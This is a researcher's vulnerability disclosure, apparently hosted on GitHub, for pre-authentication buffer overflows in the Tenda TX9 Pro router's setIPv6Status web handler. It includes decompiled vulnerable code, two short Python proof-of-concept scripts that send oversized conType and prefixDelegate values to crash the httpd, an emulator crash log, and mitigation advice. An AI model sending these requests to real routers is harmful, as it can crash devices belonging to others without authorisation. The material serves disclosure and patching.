H4niz / **Vulnerability** Public

Code Issues Pull requests Actions Projects Security Insights

main

Vulnerability / Tenda-TX9-V22.03.02.10-19042022-2.md

H4niz x History

1 contributor

111 lines (87 sloc) | 3.32 KB

Multiple Pre-Auth Buffer Overflow in Tenda Router TX9 Pro

- Related products： TX9 Pro Update Date： 2021/12/24
- Hardware Version: V1.0
- Software Version: V22.03.02.10
- Download: TX9 Pro Firmware-Tenda-All For Better NetWorking (tendacn.com)

- Author: anhnlq (aka h4niz) from VNG Cloud
- Date: 19/04/2022

Root cause

I found a vulnerability in `setIPv6Status()` function, the root cause was lack of validate length of user input. The vulnerability code below:

```
int __fastcall setIPv6Status(_DWORD *a1)
{
[Truncated]
  int v21[2]; // [sp+2Ch] [-1Ch] BYREF
  int v22[4]; // [sp+34h] [-14h] BYREF

[Truncated]
  v3 = get_data_from_parameter((int)a1, (int)"conType", (int)"DHCP");
  sub_421BEC(v20, 0x19, v3);
  strcpy((int)v22, (int)v3);
  v4 = get_data_from_parameter((int)a1, (int)"ISPusername", (int)"");
  sub_421BEC(v20, 0x1F, v4);
  v5 = get_data_from_parameter((int)a1, (int)"ISPpassword", (int)"");
  sub_421BEC(v20, 0x20, v5);
  v6 = get_data_from_parameter((int)a1, (int)"prefixDelegate", (int)"0");
  sub_421BEC(v20, 0x1A, v6);
  strcpy((int)v21, (int)v6);
[Truncated]
  return _stack_chk_guard;
}
```

By using `get_data_from_parameter()` , the name of function is changed, to get input from user and pass to `v3` / `v6` variables. I don't know why but most of get data method is have done by `GetValue()` function that validates length of input before assigns it to variable. After that, `v3` / `v4` variable is copied to `v22` / `v21` that is trigged buffer overflow by `strcpy()` function.

POC1

```
#-*- encoding: utf8 -*-
import requests

# Product: Tenda Router
# Related products: TX9 ProUpdate Date: 2021/12/24
# Hardware Version:V1.0
# Software Version:V22.03.02.10


url = "http://192.168.1.13/goform/setIPv6Status"
payload = 'A'*300 + '\n'

r = requests.post(url, data={'conType': payload})
```

POC2

```
#-*- encoding: utf8 -*-
import requests

# Product: Tenda Router
# Related products: TX9 ProUpdate Date: 2021/12/24
# Hardware Version:V1.0
# Software Version:V22.03.02.10


url = "http://192.168.1.13/goform/setIPv6Status"
payload = 'A'*300 + '\n'

r = requests.post(url, data={'prefixDelegate': payload})
```

Router output log:

```
 sudo qemu-mips -L firmadyne/images/1 firmadyne/images/1/usr/sbin/httpd
```

```
Yes:

      ****** WeLoveLinux******

 Welcome to ...
main_test 481: g_lan_ip 0.0.0.0  admin
[httpd][debug]----------------------------webs.c,158
Unsupported setsockopt level=65535 optname=128
httpd listen ip = 0.0.0.0 port = 80
webs: Listening for HTTP requests at address 0.0.0.0
Unsupported setsockopt level=65535 optname=128
[192.168.1.13].........
web [192.168.1.13] login time expired.
Unsupported setsockopt level=65535 optname=128
[192.168.1.13].........
[ERROR][td_rpc_call         ][75   ]connect:Connection refused
[ERROR][td_rpc_invok        ][100  ]Call RPC Failed
[ERROR][td_rpc_call         ][75   ]connect:Connection refused
[ERROR][td_rpc_invok        ][100  ]Call RPC Failed
[ERROR][td_rpc_call         ][75   ]connect:Connection refused
[ERROR][td_rpc_invok        ][100  ]Call RPC Failed
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault
```

Mitigation:

- Validate data length before passing to `strcpy()`
- Or use `strncpy()` instead of `strcpy()`